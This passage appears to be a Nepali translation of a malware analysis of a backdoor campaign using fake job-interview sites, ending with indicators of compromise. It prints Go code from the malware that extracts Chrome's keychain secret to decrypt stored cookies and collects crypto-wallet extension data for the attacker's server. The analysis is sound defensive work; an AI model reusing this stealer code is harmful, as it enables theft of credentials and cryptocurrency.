    • " webRequest " अनुमतिले एक्सटेन्सनलाई नेटवर्क अनुरोधहरू अवरोध गर्न र परिमार्जन गर्न अनुमति दिन्छ, जसले गर्दा डेटा चोरी वा फिसिङ आक्रमणहरू सक्षम हुन्छन्। " clipboardWrite " अनुमति क्लिपबोर्ड डेटा खिच्न र परिमार्जन गर्न प्रयोग गर्न सकिन्छ, सम्भावित रूपमा क्रिप्टोकरेन्सी ठेगानाहरू वा पासवर्डहरू चोरी गर्न।
    • " स्क्रिप्टेबल_होस्ट " खण्ड, जसमा " file:///* ", " https://*/* ", र " http://*/* " समावेश छन्, ले सबै वेबसाइटहरूमा स्क्रिप्ट कार्यान्वयन र स्थानीय फाइलहरूमा पहुँच सक्षम बनाउँछ, जसले गर्दा प्रमाण चोरी वा अनधिकृत डेटा एक्सफिल्टरेशनलाई अनुमति दिन्छ।
    • " explicit_host " खण्डले https://*.infura.io/*https://*.cx.metamask.io/* जस्ता क्रिप्टोकरेन्सी-सम्बन्धित डोमेनहरूमा पहुँच प्रदान गर्दछ, जुन लेनदेनहरू हेरफेर गर्न प्रयोग गर्न सकिन्छ।
    • " from_webstore ": false फिल्डले एक्सटेन्सन म्यानुअल रूपमा वा अनधिकृत माध्यमबाट स्थापना गरिएको संकेत गर्छ, जसले सम्भावित छेडछाडको सुझाव दिन्छ। " commands " फिल्डले एक्सटेन्सन सक्रिय गर्न किबोर्ड सर्टकट तोक्छ, जसले सम्भावित रूपमा लुकेको दुर्भावनापूर्ण व्यवहारलाई ट्रिगर गर्छ।
    • यी संयुक्त कारकहरूले संकेत गर्छन् कि विस्तार अनधिकृत पहुँच, डेटा चोरी, वा वित्तीय ठगीको लागि प्रयोग गर्न सकिन्छ।
  • chrome_cookie_darwin.go मा जानुहोस्

     var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
    • स्थानीय भण्डारणबाट गुगल क्रोमसँग सम्बन्धित पासवर्ड पुन: प्राप्त गर्न प्रयोग गरिन्छ।
    • gatherchain.tar.gz मा थप भण्डारणको साथ किचेन डेटा सङ्कलन गर्दछ।
  • chrome_cookie_other.go मा जानुहोस्

    • लिनक्सको लागि पनि त्यस्तै।
  • chrome_cookie_win.go मा जानुहोस्

    • विन्डोजको लागि पनि त्यस्तै।
  • chrome_gather.go मा जानुहोस्

     func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
    • स्थानीय एक्सटेन्सन सेटिङहरू (यदि तिनीहरू प्रणालीमा अवस्थित छन् भने) सङ्कलन गर्छ र यसलाई gather.tag.gz मा प्याक गर्छ।

निष्कर्ष

हाम्रो विश्लेषण समाप्त गर्न, हामीले सबैभन्दा महत्त्वपूर्ण बुँदाहरू हाइलाइट गर्नुपर्छ:

  • सफल पासवर्ड चोरी पछि, पीडितको कार्यस्थानलाई C2 मार्फत टाढाबाट पहुँच गर्न सकिन्छ जसले गर्दा प्रणालीमा भण्डारण गरिएका व्यक्तिगत फाइलहरू सहित अझ बढी डेटा चोरी हुन्छ। यसले यो मालवेयरलाई नियमित चोरी गर्नेहरू भन्दा धेरै खतरनाक बनाउँछ जुन सामान्यतया प्रणालीमा एक पटक चल्छ, तिनीहरूको सूचीमा भएका फाइलहरू मात्र सङ्कलन गर्दछ।
  • ब्याकडोर कोड प्रोग्रामिङको उत्तम अभ्यास अनुसार लेखिएको हुन्छ, टिप्पणीहरू जस्ताको तस्तै छोडिन्छन्, जसले गर्दा कोड किन पहिले नै कम्पाइल गरिएको थिएन भन्ने खुला प्रश्न खडा हुन्छ।
  • केवल एउटा क्रिप्टोकरेन्सी-सम्बन्धित एक्सटेन्सनलाई लक्षित गरिएको छ, सम्भवतः अन्य लोकप्रिय क्रिप्टो उपकरणहरू र प्रणालीमा संवेदनशील डेटा म्यानुअल रूपमा खोजी गर्न टाढाको पहुँच प्राप्त गर्ने कुरामा भर पर्दै।
  • अभियान अझै पनि जारी छ, जसले खतरा अभिनेताहरूको रणनीति प्रभावकारी रहेको र तत्काल परिवर्तनहरू आवश्यक नपर्ने संकेत गर्दछ। यद्यपि, हामी विश्वास गर्छौं कि अद्यावधिक पूर्वाधारको साथ चाँडै नै यस्तै अभियानहरू देखा पर्न सक्छन्।

आइओसी

डोमेनहरू

 app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com

SHA256 को परिचय

 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182

C2

 hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080